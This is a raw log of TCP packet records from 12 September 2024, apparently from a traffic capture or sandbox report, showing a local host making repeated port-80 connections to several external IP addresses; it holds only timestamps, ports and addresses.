Sep 12, 2024 15:06:03.297832966 CEST	80	49748	160.251.148.115	192.168.2.4
Sep 12, 2024 15:06:04.084152937 CEST	80	49748	160.251.148.115	192.168.2.4
Sep 12, 2024 15:06:04.084606886 CEST	80	49748	160.251.148.115	192.168.2.4
Sep 12, 2024 15:06:04.084737062 CEST	49748	80	192.168.2.4	160.251.148.115
Sep 12, 2024 15:06:04.803632021 CEST	49748	80	192.168.2.4	160.251.148.115
Sep 12, 2024 15:06:05.822854996 CEST	49749	80	192.168.2.4	160.251.148.115
Sep 12, 2024 15:06:05.828047991 CEST	80	49749	160.251.148.115	192.168.2.4
Sep 12, 2024 15:06:05.828213930 CEST	49749	80	192.168.2.4	160.251.148.115
Sep 12, 2024 15:06:05.844846010 CEST	49749	80	192.168.2.4	160.251.148.115
Sep 12, 2024 15:06:05.849898100 CEST	80	49749	160.251.148.115	192.168.2.4
Sep 12, 2024 15:06:05.849936008 CEST	80	49749	160.251.148.115	192.168.2.4
Sep 12, 2024 15:06:05.849950075 CEST	80	49749	160.251.148.115	192.168.2.4
Sep 12, 2024 15:06:05.849980116 CEST	80	49749	160.251.148.115	192.168.2.4
Sep 12, 2024 15:06:05.849992037 CEST	80	49749	160.251.148.115	192.168.2.4
Sep 12, 2024 15:06:05.850002050 CEST	80	49749	160.251.148.115	192.168.2.4
Sep 12, 2024 15:06:05.850090027 CEST	80	49749	160.251.148.115	192.168.2.4
Sep 12, 2024 15:06:05.850100040 CEST	80	49749	160.251.148.115	192.168.2.4
Sep 12, 2024 15:06:05.850107908 CEST	80	49749	160.251.148.115	192.168.2.4
Sep 12, 2024 15:06:06.832684994 CEST	80	49749	160.251.148.115	192.168.2.4
Sep 12, 2024 15:06:06.832830906 CEST	80	49749	160.251.148.115	192.168.2.4
Sep 12, 2024 15:06:06.832873106 CEST	49749	80	192.168.2.4	160.251.148.115
Sep 12, 2024 15:06:07.350486994 CEST	49749	80	192.168.2.4	160.251.148.115
Sep 12, 2024 15:06:08.369668961 CEST	49750	80	192.168.2.4	160.251.148.115
Sep 12, 2024 15:06:08.374665976 CEST	80	49750	160.251.148.115	192.168.2.4
Sep 12, 2024 15:06:08.374794006 CEST	49750	80	192.168.2.4	160.251.148.115
Sep 12, 2024 15:06:08.382653952 CEST	49750	80	192.168.2.4	160.251.148.115
Sep 12, 2024 15:06:08.387665987 CEST	80	49750	160.251.148.115	192.168.2.4
Sep 12, 2024 15:06:09.187525988 CEST	80	49750	160.251.148.115	192.168.2.4
Sep 12, 2024 15:06:09.187980890 CEST	80	49750	160.251.148.115	192.168.2.4
Sep 12, 2024 15:06:09.188030958 CEST	49750	80	192.168.2.4	160.251.148.115
Sep 12, 2024 15:06:09.190373898 CEST	49750	80	192.168.2.4	160.251.148.115
Sep 12, 2024 15:06:09.195274115 CEST	80	49750	160.251.148.115	192.168.2.4
Sep 12, 2024 15:06:14.215421915 CEST	49751	80	192.168.2.4	3.33.130.190
Sep 12, 2024 15:06:14.220478058 CEST	80	49751	3.33.130.190	192.168.2.4
Sep 12, 2024 15:06:14.220587969 CEST	49751	80	192.168.2.4	3.33.130.190
Sep 12, 2024 15:06:14.231529951 CEST	49751	80	192.168.2.4	3.33.130.190
Sep 12, 2024 15:06:14.236557961 CEST	80	49751	3.33.130.190	192.168.2.4
Sep 12, 2024 15:06:14.682461977 CEST	80	49751	3.33.130.190	192.168.2.4
Sep 12, 2024 15:06:14.682538986 CEST	49751	80	192.168.2.4	3.33.130.190
Sep 12, 2024 15:06:15.741221905 CEST	49751	80	192.168.2.4	3.33.130.190
Sep 12, 2024 15:06:15.747694969 CEST	80	49751	3.33.130.190	192.168.2.4
Sep 12, 2024 15:06:16.761086941 CEST	49752	80	192.168.2.4	3.33.130.190
Sep 12, 2024 15:06:16.766371012 CEST	80	49752	3.33.130.190	192.168.2.4
Sep 12, 2024 15:06:16.766506910 CEST	49752	80	192.168.2.4	3.33.130.190
Sep 12, 2024 15:06:16.786643982 CEST	49752	80	192.168.2.4	3.33.130.190
Sep 12, 2024 15:06:16.791783094 CEST	80	49752	3.33.130.190	192.168.2.4
Sep 12, 2024 15:06:17.225414991 CEST	80	49752	3.33.130.190	192.168.2.4
Sep 12, 2024 15:06:17.225496054 CEST	49752	80	192.168.2.4	3.33.130.190
Sep 12, 2024 15:06:18.288062096 CEST	49752	80	192.168.2.4	3.33.130.190
Sep 12, 2024 15:06:18.293126106 CEST	80	49752	3.33.130.190	192.168.2.4
Sep 12, 2024 15:06:19.308552980 CEST	49753	80	192.168.2.4	3.33.130.190
Sep 12, 2024 15:06:19.313868046 CEST	80	49753	3.33.130.190	192.168.2.4
Sep 12, 2024 15:06:19.314018011 CEST	49753	80	192.168.2.4	3.33.130.190
Sep 12, 2024 15:06:19.327594995 CEST	49753	80	192.168.2.4	3.33.130.190
Sep 12, 2024 15:06:19.332693100 CEST	80	49753	3.33.130.190	192.168.2.4
Sep 12, 2024 15:06:19.332743883 CEST	80	49753	3.33.130.190	192.168.2.4
Sep 12, 2024 15:06:19.332756042 CEST	80	49753	3.33.130.190	192.168.2.4
Sep 12, 2024 15:06:19.332782030 CEST	80	49753	3.33.130.190	192.168.2.4
Sep 12, 2024 15:06:19.332848072 CEST	80	49753	3.33.130.190	192.168.2.4
Sep 12, 2024 15:06:19.333096981 CEST	80	49753	3.33.130.190	192.168.2.4
Sep 12, 2024 15:06:19.333111048 CEST	80	49753	3.33.130.190	192.168.2.4
Sep 12, 2024 15:06:19.333122969 CEST	80	49753	3.33.130.190	192.168.2.4
Sep 12, 2024 15:06:19.333133936 CEST	80	49753	3.33.130.190	192.168.2.4
Sep 12, 2024 15:06:19.790730953 CEST	80	49753	3.33.130.190	192.168.2.4
Sep 12, 2024 15:06:19.790823936 CEST	49753	80	192.168.2.4	3.33.130.190
Sep 12, 2024 15:06:20.834836006 CEST	49753	80	192.168.2.4	3.33.130.190
Sep 12, 2024 15:06:20.840006113 CEST	80	49753	3.33.130.190	192.168.2.4
Sep 12, 2024 15:06:21.854376078 CEST	49754	80	192.168.2.4	3.33.130.190
Sep 12, 2024 15:06:21.859500885 CEST	80	49754	3.33.130.190	192.168.2.4
Sep 12, 2024 15:06:21.859602928 CEST	49754	80	192.168.2.4	3.33.130.190
Sep 12, 2024 15:06:21.866998911 CEST	49754	80	192.168.2.4	3.33.130.190
Sep 12, 2024 15:06:21.872330904 CEST	80	49754	3.33.130.190	192.168.2.4
Sep 12, 2024 15:06:22.321814060 CEST	80	49754	3.33.130.190	192.168.2.4
Sep 12, 2024 15:06:22.322020054 CEST	80	49754	3.33.130.190	192.168.2.4
Sep 12, 2024 15:06:22.322097063 CEST	49754	80	192.168.2.4	3.33.130.190
Sep 12, 2024 15:06:22.324879885 CEST	49754	80	192.168.2.4	3.33.130.190
Sep 12, 2024 15:06:22.330367088 CEST	80	49754	3.33.130.190	192.168.2.4
Sep 12, 2024 15:06:27.784475088 CEST	49755	80	192.168.2.4	203.161.43.228
Sep 12, 2024 15:06:27.789442062 CEST	80	49755	203.161.43.228	192.168.2.4
Sep 12, 2024 15:06:27.789532900 CEST	49755	80	192.168.2.4	203.161.43.228
Sep 12, 2024 15:06:27.802988052 CEST	49755	80	192.168.2.4	203.161.43.228
Sep 12, 2024 15:06:27.807946920 CEST	80	49755	203.161.43.228	192.168.2.4
Sep 12, 2024 15:06:28.382606030 CEST	80	49755	203.161.43.228	192.168.2.4
Sep 12, 2024 15:06:28.382797003 CEST	80	49755	203.161.43.228	192.168.2.4
Sep 12, 2024 15:06:28.382905960 CEST	49755	80	192.168.2.4	203.161.43.228
Sep 12, 2024 15:06:29.319169044 CEST	49755	80	192.168.2.4	203.161.43.228
Sep 12, 2024 15:06:30.340261936 CEST	49756	80	192.168.2.4	203.161.43.228
Sep 12, 2024 15:06:30.346201897 CEST	80	49756	203.161.43.228	192.168.2.4
Sep 12, 2024 15:06:30.346271038 CEST	49756	80	192.168.2.4	203.161.43.228
Sep 12, 2024 15:06:30.358347893 CEST	49756	80	192.168.2.4	203.161.43.228
Sep 12, 2024 15:06:30.363336086 CEST	80	49756	203.161.43.228	192.168.2.4
Sep 12, 2024 15:06:30.952228069 CEST	80	49756	203.161.43.228	192.168.2.4
Sep 12, 2024 15:06:30.954849958 CEST	80	49756	203.161.43.228	192.168.2.4
Sep 12, 2024 15:06:30.954941034 CEST	49756	80	192.168.2.4	203.161.43.228
Sep 12, 2024 15:06:31.866072893 CEST	49756	80	192.168.2.4	203.161.43.228
Sep 12, 2024 15:06:32.899410963 CEST	49757	80	192.168.2.4	203.161.43.228
Sep 12, 2024 15:06:32.904697895 CEST	80	49757	203.161.43.228	192.168.2.4
Sep 12, 2024 15:06:32.905008078 CEST	49757	80	192.168.2.4	203.161.43.228
Sep 12, 2024 15:06:32.996753931 CEST	49757	80	192.168.2.4	203.161.43.228
Sep 12, 2024 15:06:33.002003908 CEST	80	49757	203.161.43.228	192.168.2.4
Sep 12, 2024 15:06:33.002017975 CEST	80	49757	203.161.43.228	192.168.2.4
Sep 12, 2024 15:06:33.002036095 CEST	80	49757	203.161.43.228	192.168.2.4
Sep 12, 2024 15:06:33.002043962 CEST	80	49757	203.161.43.228	192.168.2.4
Sep 12, 2024 15:06:33.002052069 CEST	80	49757	203.161.43.228	192.168.2.4
Sep 12, 2024 15:06:33.002059937 CEST	80	49757	203.161.43.228	192.168.2.4
Sep 12, 2024 15:06:33.002068043 CEST	80	49757	203.161.43.228	192.168.2.4
Sep 12, 2024 15:06:33.002203941 CEST	80	49757	203.161.43.228	192.168.2.4
Sep 12, 2024 15:06:33.002230883 CEST	80	49757	203.161.43.228	192.168.2.4
Sep 12, 2024 15:06:33.600950956 CEST	80	49757	203.161.43.228	192.168.2.4
Sep 12, 2024 15:06:33.601397991 CEST	80	49757	203.161.43.228	192.168.2.4
Sep 12, 2024 15:06:33.601630926 CEST	49757	80	192.168.2.4	203.161.43.228
Sep 12, 2024 15:06:34.506875992 CEST	49757	80	192.168.2.4	203.161.43.228
Sep 12, 2024 15:06:35.557827950 CEST	49758	80	192.168.2.4	203.161.43.228
Sep 12, 2024 15:06:35.562953949 CEST	80	49758	203.161.43.228	192.168.2.4
Sep 12, 2024 15:06:35.563101053 CEST	49758	80	192.168.2.4	203.161.43.228
Sep 12, 2024 15:06:35.570231915 CEST	49758	80	192.168.2.4	203.161.43.228
Sep 12, 2024 15:06:35.576900959 CEST	80	49758	203.161.43.228	192.168.2.4
Sep 12, 2024 15:06:36.196917057 CEST	80	49758	203.161.43.228	192.168.2.4
Sep 12, 2024 15:06:36.197787046 CEST	80	49758	203.161.43.228	192.168.2.4
Sep 12, 2024 15:06:36.197853088 CEST	49758	80	192.168.2.4	203.161.43.228
Sep 12, 2024 15:06:36.199809074 CEST	49758	80	192.168.2.4	203.161.43.228
Sep 12, 2024 15:06:36.206242085 CEST	80	49758	203.161.43.228	192.168.2.4
Sep 12, 2024 15:06:41.483519077 CEST	49759	80	192.168.2.4	3.33.130.190
Sep 12, 2024 15:06:41.488660097 CEST	80	49759	3.33.130.190	192.168.2.4
Sep 12, 2024 15:06:41.488886118 CEST	49759	80	192.168.2.4	3.33.130.190
Sep 12, 2024 15:06:41.497684002 CEST	49759	80	192.168.2.4	3.33.130.190
Sep 12, 2024 15:06:41.502890110 CEST	80	49759	3.33.130.190	192.168.2.4
Sep 12, 2024 15:06:43.007045031 CEST	49759	80	192.168.2.4	3.33.130.190
Sep 12, 2024 15:06:43.013887882 CEST	80	49759	3.33.130.190	192.168.2.4
Sep 12, 2024 15:06:43.013998985 CEST	49759	80	192.168.2.4	3.33.130.190
Sep 12, 2024 15:06:44.026134968 CEST	49760	80	192.168.2.4	3.33.130.190
Sep 12, 2024 15:06:44.031508923 CEST	80	49760	3.33.130.190	192.168.2.4
Sep 12, 2024 15:06:44.031593084 CEST	49760	80	192.168.2.4	3.33.130.190
Sep 12, 2024 15:06:44.043433905 CEST	49760	80	192.168.2.4	3.33.130.190
Sep 12, 2024 15:06:44.048696995 CEST	80	49760	3.33.130.190	192.168.2.4
Sep 12, 2024 15:06:44.485788107 CEST	80	49760	3.33.130.190	192.168.2.4
Sep 12, 2024 15:06:44.485858917 CEST	49760	80	192.168.2.4	3.33.130.190
Sep 12, 2024 15:06:45.553591013 CEST	49760	80	192.168.2.4	3.33.130.190
Sep 12, 2024 15:06:45.558789968 CEST	80	49760	3.33.130.190	192.168.2.4
Sep 12, 2024 15:06:46.573417902 CEST	49761	80	192.168.2.4	3.33.130.190
Sep 12, 2024 15:06:46.578778028 CEST	80	49761	3.33.130.190	192.168.2.4
Sep 12, 2024 15:06:46.578850985 CEST	49761	80	192.168.2.4	3.33.130.190
Sep 12, 2024 15:06:46.591907978 CEST	49761	80	192.168.2.4	3.33.130.190
Sep 12, 2024 15:06:46.596898079 CEST	80	49761	3.33.130.190	192.168.2.4
Sep 12, 2024 15:06:46.596959114 CEST	80	49761	3.33.130.190	192.168.2.4
Sep 12, 2024 15:06:46.596987963 CEST	80	49761	3.33.130.190	192.168.2.4
Sep 12, 2024 15:06:46.597014904 CEST	80	49761	3.33.130.190	192.168.2.4
Sep 12, 2024 15:06:46.597044945 CEST	80	49761	3.33.130.190	192.168.2.4
Sep 12, 2024 15:06:46.597177982 CEST	80	49761	3.33.130.190	192.168.2.4
Sep 12, 2024 15:06:46.597208023 CEST	80	49761	3.33.130.190	192.168.2.4
Sep 12, 2024 15:06:46.597321033 CEST	80	49761	3.33.130.190	192.168.2.4
Sep 12, 2024 15:06:46.597347975 CEST	80	49761	3.33.130.190	192.168.2.4
Sep 12, 2024 15:06:47.033839941 CEST	80	49761	3.33.130.190	192.168.2.4
Sep 12, 2024 15:06:47.036755085 CEST	49761	80	192.168.2.4	3.33.130.190
Sep 12, 2024 15:06:48.100488901 CEST	49761	80	192.168.2.4	3.33.130.190
Sep 12, 2024 15:06:48.105520964 CEST	80	49761	3.33.130.190	192.168.2.4
Sep 12, 2024 15:06:49.120745897 CEST	49762	80	192.168.2.4	3.33.130.190
Sep 12, 2024 15:06:49.125941992 CEST	80	49762	3.33.130.190	192.168.2.4
Sep 12, 2024 15:06:49.128792048 CEST	49762	80	192.168.2.4	3.33.130.190
Sep 12, 2024 15:06:49.136720896 CEST	49762	80	192.168.2.4	3.33.130.190
Sep 12, 2024 15:06:49.141731977 CEST	80	49762	3.33.130.190	192.168.2.4
Sep 12, 2024 15:06:49.589215040 CEST	80	49762	3.33.130.190	192.168.2.4
Sep 12, 2024 15:06:49.589678049 CEST	80	49762	3.33.130.190	192.168.2.4
Sep 12, 2024 15:06:49.594347954 CEST	49762	80	192.168.2.4	3.33.130.190
Sep 12, 2024 15:06:49.594348907 CEST	49762	80	192.168.2.4	3.33.130.190
Sep 12, 2024 15:06:49.599298954 CEST	80	49762	3.33.130.190	192.168.2.4
Sep 12, 2024 15:06:54.639322042 CEST	49763	80	192.168.2.4	185.199.108.153
Sep 12, 2024 15:06:54.644344091 CEST	80	49763	185.199.108.153	192.168.2.4
Sep 12, 2024 15:06:54.644431114 CEST	49763	80	192.168.2.4	185.199.108.153
Sep 12, 2024 15:06:54.656380892 CEST	49763	80	192.168.2.4	185.199.108.153
Sep 12, 2024 15:06:54.661299944 CEST	80	49763	185.199.108.153	192.168.2.4
Sep 12, 2024 15:06:55.290832043 CEST	80	49763	185.199.108.153	192.168.2.4
Sep 12, 2024 15:06:55.290935993 CEST	80	49763	185.199.108.153	192.168.2.4
Sep 12, 2024 15:06:55.290949106 CEST	80	49763	185.199.108.153	192.168.2.4
Sep 12, 2024 15:06:55.291038990 CEST	49763	80	192.168.2.4	185.199.108.153
Sep 12, 2024 15:06:56.163054943 CEST	49763	80	192.168.2.4	185.199.108.153
Sep 12, 2024 15:06:57.184756041 CEST	49764	80	192.168.2.4	185.199.108.153
Sep 12, 2024 15:06:57.190061092 CEST	80	49764	185.199.108.153	192.168.2.4
Sep 12, 2024 15:06:57.190253019 CEST	49764	80	192.168.2.4	185.199.108.153
Sep 12, 2024 15:06:57.204737902 CEST	49764	80	192.168.2.4	185.199.108.153
Sep 12, 2024 15:06:57.210239887 CEST	80	49764	185.199.108.153	192.168.2.4
Sep 12, 2024 15:06:57.637331963 CEST	80	49764	185.199.108.153	192.168.2.4
Sep 12, 2024 15:06:57.638134003 CEST	80	49764	185.199.108.153	192.168.2.4
Sep 12, 2024 15:06:57.638303995 CEST	49764	80	192.168.2.4	185.199.108.153
Sep 12, 2024 15:06:58.712753057 CEST	49764	80	192.168.2.4	185.199.108.153
Sep 12, 2024 15:06:59.728809118 CEST	49765	80	192.168.2.4	185.199.108.153
Sep 12, 2024 15:06:59.739875078 CEST	80	49765	185.199.108.153	192.168.2.4
Sep 12, 2024 15:06:59.740281105 CEST	49765	80	192.168.2.4	185.199.108.153
Sep 12, 2024 15:06:59.751956940 CEST	49765	80	192.168.2.4	185.199.108.153
Sep 12, 2024 15:06:59.757107019 CEST	80	49765	185.199.108.153	192.168.2.4
Sep 12, 2024 15:06:59.757152081 CEST	80	49765	185.199.108.153	192.168.2.4
Sep 12, 2024 15:06:59.757179022 CEST	80	49765	185.199.108.153	192.168.2.4
Sep 12, 2024 15:06:59.757205009 CEST	80	49765	185.199.108.153	192.168.2.4
Sep 12, 2024 15:06:59.757236958 CEST	80	49765	185.199.108.153	192.168.2.4
Sep 12, 2024 15:06:59.757591963 CEST	80	49765	185.199.108.153	192.168.2.4
Sep 12, 2024 15:06:59.757618904 CEST	80	49765	185.199.108.153	192.168.2.4
Sep 12, 2024 15:06:59.757673979 CEST	80	49765	185.199.108.153	192.168.2.4
Sep 12, 2024 15:06:59.757702112 CEST	80	49765	185.199.108.153	192.168.2.4
Sep 12, 2024 15:07:00.195352077 CEST	80	49765	185.199.108.153	192.168.2.4
Sep 12, 2024 15:07:00.202491045 CEST	80	49765	185.199.108.153	192.168.2.4
Sep 12, 2024 15:07:00.202553988 CEST	49765	80	192.168.2.4	185.199.108.153
Sep 12, 2024 15:07:01.256851912 CEST	49765	80	192.168.2.4	185.199.108.153
Sep 12, 2024 15:07:02.275281906 CEST	49766	80	192.168.2.4	185.199.108.153
Sep 12, 2024 15:07:02.280498028 CEST	80	49766	185.199.108.153	192.168.2.4
Sep 12, 2024 15:07:02.280571938 CEST	49766	80	192.168.2.4	185.199.108.153
Sep 12, 2024 15:07:02.288429022 CEST	49766	80	192.168.2.4	185.199.108.153
Sep 12, 2024 15:07:02.293375015 CEST	80	49766	185.199.108.153	192.168.2.4
Sep 12, 2024 15:07:02.760704041 CEST	80	49766	185.199.108.153	192.168.2.4
Sep 12, 2024 15:07:02.760962009 CEST	80	49766	185.199.108.153	192.168.2.4
Sep 12, 2024 15:07:02.761171103 CEST	49766	80	192.168.2.4	185.199.108.153
Sep 12, 2024 15:07:02.767030954 CEST	49766	80	192.168.2.4	185.199.108.153
Sep 12, 2024 15:07:02.772057056 CEST	80	49766	185.199.108.153	192.168.2.4
Sep 12, 2024 15:07:18.328285933 CEST	49767	80	192.168.2.4	91.184.0.200
Sep 12, 2024 15:07:18.333364010 CEST	80	49767	91.184.0.200	192.168.2.4
Sep 12, 2024 15:07:18.333456039 CEST	49767	80	192.168.2.4	91.184.0.200
Sep 12, 2024 15:07:18.346549988 CEST	49767	80	192.168.2.4	91.184.0.200
Sep 12, 2024 15:07:18.352078915 CEST	80	49767	91.184.0.200	192.168.2.4
Sep 12, 2024 15:07:18.982920885 CEST	80	49767	91.184.0.200	192.168.2.4
Sep 12, 2024 15:07:18.983098984 CEST	80	49767	91.184.0.200	192.168.2.4
Sep 12, 2024 15:07:18.984870911 CEST	49767	80	192.168.2.4	91.184.0.200
Sep 12, 2024 15:07:19.932545900 CEST	49767	80	192.168.2.4	91.184.0.200
Sep 12, 2024 15:07:20.947710991 CEST	49768	80	192.168.2.4	91.184.0.200
Sep 12, 2024 15:07:20.952877045 CEST	80	49768	91.184.0.200	192.168.2.4
Sep 12, 2024 15:07:20.953211069 CEST	49768	80	192.168.2.4	91.184.0.200
Sep 12, 2024 15:07:20.965218067 CEST	49768	80	192.168.2.4	91.184.0.200
Sep 12, 2024 15:07:20.970757008 CEST	80	49768	91.184.0.200	192.168.2.4
Sep 12, 2024 15:07:21.647376060 CEST	80	49768	91.184.0.200	192.168.2.4
Sep 12, 2024 15:07:21.647412062 CEST	80	49768	91.184.0.200	192.168.2.4
Sep 12, 2024 15:07:21.647424936 CEST	80	49768	91.184.0.200	192.168.2.4
Sep 12, 2024 15:07:21.647591114 CEST	49768	80	192.168.2.4	91.184.0.200
Sep 12, 2024 15:07:22.475610971 CEST	49768	80	192.168.2.4	91.184.0.200
Sep 12, 2024 15:07:23.496038914 CEST	49769	80	192.168.2.4	91.184.0.200
Sep 12, 2024 15:07:23.501050949 CEST	80	49769	91.184.0.200	192.168.2.4
Sep 12, 2024 15:07:23.504962921 CEST	49769	80	192.168.2.4	91.184.0.200
Sep 12, 2024 15:07:23.516911030 CEST	49769	80	192.168.2.4	91.184.0.200
Sep 12, 2024 15:07:23.522069931 CEST	80	49769	91.184.0.200	192.168.2.4
Sep 12, 2024 15:07:23.522080898 CEST	80	49769	91.184.0.200	192.168.2.4
Sep 12, 2024 15:07:23.522084951 CEST	80	49769	91.184.0.200	192.168.2.4
Sep 12, 2024 15:07:23.522197008 CEST	80	49769	91.184.0.200	192.168.2.4
Sep 12, 2024 15:07:23.522205114 CEST	80	49769	91.184.0.200	192.168.2.4
Sep 12, 2024 15:07:23.522213936 CEST	80	49769	91.184.0.200	192.168.2.4
Sep 12, 2024 15:07:23.522222996 CEST	80	49769	91.184.0.200	192.168.2.4
Sep 12, 2024 15:07:23.522337914 CEST	80	49769	91.184.0.200	192.168.2.4
Sep 12, 2024 15:07:23.522346973 CEST	80	49769	91.184.0.200	192.168.2.4
Sep 12, 2024 15:07:24.253087044 CEST	80	49769	91.184.0.200	192.168.2.4
Sep 12, 2024 15:07:24.253412008 CEST	80	49769	91.184.0.200	192.168.2.4
Sep 12, 2024 15:07:24.253463984 CEST	49769	80	192.168.2.4	91.184.0.200
Sep 12, 2024 15:07:25.023363113 CEST	49769	80	192.168.2.4	91.184.0.200
Sep 12, 2024 15:07:26.045140028 CEST	49770	80	192.168.2.4	91.184.0.200
Sep 12, 2024 15:07:26.050183058 CEST	80	49770	91.184.0.200	192.168.2.4
Sep 12, 2024 15:07:26.050262928 CEST	49770	80	192.168.2.4	91.184.0.200
Sep 12, 2024 15:07:26.061320066 CEST	49770	80	192.168.2.4	91.184.0.200
Sep 12, 2024 15:07:26.073472977 CEST	80	49770	91.184.0.200	192.168.2.4
Sep 12, 2024 15:07:26.675591946 CEST	80	49770	91.184.0.200	192.168.2.4
Sep 12, 2024 15:07:26.677113056 CEST	80	49770	91.184.0.200	192.168.2.4
Sep 12, 2024 15:07:26.677164078 CEST	49770	80	192.168.2.4	91.184.0.200
Sep 12, 2024 15:07:26.678796053 CEST	49770	80	192.168.2.4	91.184.0.200
Sep 12, 2024 15:07:26.683969975 CEST	80	49770	91.184.0.200	192.168.2.4
Sep 12, 2024 15:07:31.885998011 CEST	49771	80	192.168.2.4	154.23.176.197
Sep 12, 2024 15:07:31.890964031 CEST	80	49771	154.23.176.197	192.168.2.4
Sep 12, 2024 15:07:31.891062021 CEST	49771	80	192.168.2.4	154.23.176.197
Sep 12, 2024 15:07:31.903901100 CEST	49771	80	192.168.2.4	154.23.176.197
Sep 12, 2024 15:07:31.909025908 CEST	80	49771	154.23.176.197	192.168.2.4
Sep 12, 2024 15:07:32.865859985 CEST	80	49771	154.23.176.197	192.168.2.4
Sep 12, 2024 15:07:32.866378069 CEST	80	49771	154.23.176.197	192.168.2.4
Sep 12, 2024 15:07:32.867571115 CEST	80	49771	154.23.176.197	192.168.2.4
Sep 12, 2024 15:07:32.867660999 CEST	80	49771	154.23.176.197	192.168.2.4
Sep 12, 2024 15:07:32.867698908 CEST	49771	80	192.168.2.4	154.23.176.197
Sep 12, 2024 15:07:32.868273973 CEST	80	49771	154.23.176.197	192.168.2.4
Sep 12, 2024 15:07:32.868330956 CEST	80	49771	154.23.176.197	192.168.2.4
Sep 12, 2024 15:07:32.868438959 CEST	49771	80	192.168.2.4	154.23.176.197
Sep 12, 2024 15:07:32.870918036 CEST	80	49771	154.23.176.197	192.168.2.4
Sep 12, 2024 15:07:32.871012926 CEST	80	49771	154.23.176.197	192.168.2.4
Sep 12, 2024 15:07:32.875510931 CEST	49771	80	192.168.2.4	154.23.176.197
Sep 12, 2024 15:07:33.415378094 CEST	49771	80	192.168.2.4	154.23.176.197
Sep 12, 2024 15:07:34.433384895 CEST	49772	80	192.168.2.4	154.23.176.197
Sep 12, 2024 15:07:34.438549995 CEST	80	49772	154.23.176.197	192.168.2.4
Sep 12, 2024 15:07:34.438633919 CEST	49772	80	192.168.2.4	154.23.176.197
Sep 12, 2024 15:07:34.452281952 CEST	49772	80	192.168.2.4	154.23.176.197
Sep 12, 2024 15:07:34.457145929 CEST	80	49772	154.23.176.197	192.168.2.4
Sep 12, 2024 15:07:35.362529039 CEST	80	49772	154.23.176.197	192.168.2.4
Sep 12, 2024 15:07:35.362653971 CEST	80	49772	154.23.176.197	192.168.2.4
Sep 12, 2024 15:07:35.362670898 CEST	80	49772	154.23.176.197	192.168.2.4
Sep 12, 2024 15:07:35.362762928 CEST	49772	80	192.168.2.4	154.23.176.197
Sep 12, 2024 15:07:35.362766027 CEST	80	49772	154.23.176.197	192.168.2.4
Sep 12, 2024 15:07:35.362782001 CEST	80	49772	154.23.176.197	192.168.2.4
Sep 12, 2024 15:07:35.362818003 CEST	49772	80	192.168.2.4	154.23.176.197
Sep 12, 2024 15:07:35.362919092 CEST	80	49772	154.23.176.197	192.168.2.4
Sep 12, 2024 15:07:35.363060951 CEST	80	49772	154.23.176.197	192.168.2.4
Sep 12, 2024 15:07:35.368884087 CEST	49772	80	192.168.2.4	154.23.176.197
Sep 12, 2024 15:07:35.960186005 CEST	49772	80	192.168.2.4	154.23.176.197
Sep 12, 2024 15:07:36.980815887 CEST	49773	80	192.168.2.4	154.23.176.197
Sep 12, 2024 15:07:36.985795975 CEST	80	49773	154.23.176.197	192.168.2.4
Sep 12, 2024 15:07:36.993082047 CEST	49773	80	192.168.2.4	154.23.176.197
Sep 12, 2024 15:07:37.000893116 CEST	49773	80	192.168.2.4	154.23.176.197
Sep 12, 2024 15:07:37.005870104 CEST	80	49773	154.23.176.197	192.168.2.4
Sep 12, 2024 15:07:37.005930901 CEST	80	49773	154.23.176.197	192.168.2.4
Sep 12, 2024 15:07:37.005963087 CEST	80	49773	154.23.176.197	192.168.2.4
Sep 12, 2024 15:07:37.005990028 CEST	80	49773	154.23.176.197	192.168.2.4
Sep 12, 2024 15:07:37.006037951 CEST	80	49773	154.23.176.197	192.168.2.4
Sep 12, 2024 15:07:37.006067038 CEST	80	49773	154.23.176.197	192.168.2.4
Sep 12, 2024 15:07:37.006093979 CEST	80	49773	154.23.176.197	192.168.2.4
Sep 12, 2024 15:07:37.006123066 CEST	80	49773	154.23.176.197	192.168.2.4
Sep 12, 2024 15:07:37.006150007 CEST	80	49773	154.23.176.197	192.168.2.4
Sep 12, 2024 15:07:38.182912111 CEST	80	49773	154.23.176.197	192.168.2.4
Sep 12, 2024 15:07:38.183017015 CEST	80	49773	154.23.176.197	192.168.2.4
Sep 12, 2024 15:07:38.183051109 CEST	80	49773	154.23.176.197	192.168.2.4
Sep 12, 2024 15:07:38.183068037 CEST	49773	80	192.168.2.4	154.23.176.197
Sep 12, 2024 15:07:38.183106899 CEST	80	49773	154.23.176.197	192.168.2.4
Sep 12, 2024 15:07:38.183141947 CEST	80	49773	154.23.176.197	192.168.2.4
Sep 12, 2024 15:07:38.183149099 CEST	49773	80	192.168.2.4	154.23.176.197
Sep 12, 2024 15:07:38.183177948 CEST	80	49773	154.23.176.197	192.168.2.4
Sep 12, 2024 15:07:38.183208942 CEST	80	49773	154.23.176.197	192.168.2.4
Sep 12, 2024 15:07:38.183226109 CEST	49773	80	192.168.2.4	154.23.176.197
Sep 12, 2024 15:07:38.183243036 CEST	80	49773	154.23.176.197	192.168.2.4
Sep 12, 2024 15:07:38.183278084 CEST	80	49773	154.23.176.197	192.168.2.4
Sep 12, 2024 15:07:38.183289051 CEST	49773	80	192.168.2.4	154.23.176.197
Sep 12, 2024 15:07:38.183307886 CEST	80	49773	154.23.176.197	192.168.2.4
Sep 12, 2024 15:07:38.183351040 CEST	49773	80	192.168.2.4	154.23.176.197
Sep 12, 2024 15:07:38.188293934 CEST	80	49773	154.23.176.197	192.168.2.4
Sep 12, 2024 15:07:38.188605070 CEST	80	49773	154.23.176.197	192.168.2.4
Sep 12, 2024 15:07:38.188654900 CEST	49773	80	192.168.2.4	154.23.176.197
Sep 12, 2024 15:07:38.188764095 CEST	80	49773	154.23.176.197	192.168.2.4
Sep 12, 2024 15:07:38.188807011 CEST	80	49773	154.23.176.197	192.168.2.4
Sep 12, 2024 15:07:38.188859940 CEST	49773	80	192.168.2.4	154.23.176.197
Sep 12, 2024 15:07:38.507121086 CEST	49773	80	192.168.2.4	154.23.176.197
Sep 12, 2024 15:07:39.526729107 CEST	49774	80	192.168.2.4	154.23.176.197
Sep 12, 2024 15:07:39.531830072 CEST	80	49774	154.23.176.197	192.168.2.4
Sep 12, 2024 15:07:39.531985044 CEST	49774	80	192.168.2.4	154.23.176.197
Sep 12, 2024 15:07:39.542717934 CEST	49774	80	192.168.2.4	154.23.176.197
Sep 12, 2024 15:07:39.547890902 CEST	80	49774	154.23.176.197	192.168.2.4
Sep 12, 2024 15:07:40.502587080 CEST	80	49774	154.23.176.197	192.168.2.4
Sep 12, 2024 15:07:40.502619982 CEST	80	49774	154.23.176.197	192.168.2.4
